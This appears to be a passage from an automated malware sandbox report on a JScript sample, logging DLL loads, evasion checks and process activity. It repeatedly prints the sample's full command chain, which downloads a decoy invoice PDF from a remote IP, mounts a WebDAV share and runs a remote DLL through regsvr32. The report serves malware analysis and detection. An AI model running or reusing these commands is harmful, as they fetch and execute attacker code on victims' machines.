Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\542.js.csv");ITextStream.WriteLine(" entry:8346 f:bmynpody");ITextStream.WriteLine(" exec:2 f:bmynpody");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49711

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4622			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5226			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5376	Thread sleep count: 4622 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5376	Thread sleep count: 5226 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5704	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2976	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 4368	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7224	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: svchost.exe, 00000009.00000002.3413669011.000002776DA2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: net.exe, 00000007.00000002.2202574754.00000210C49B8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2202574754.00000210C4A18000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3416436570.000002777305D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8846208659222.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8846208659222.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8846208659222.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8846208659222.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8846208659222.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
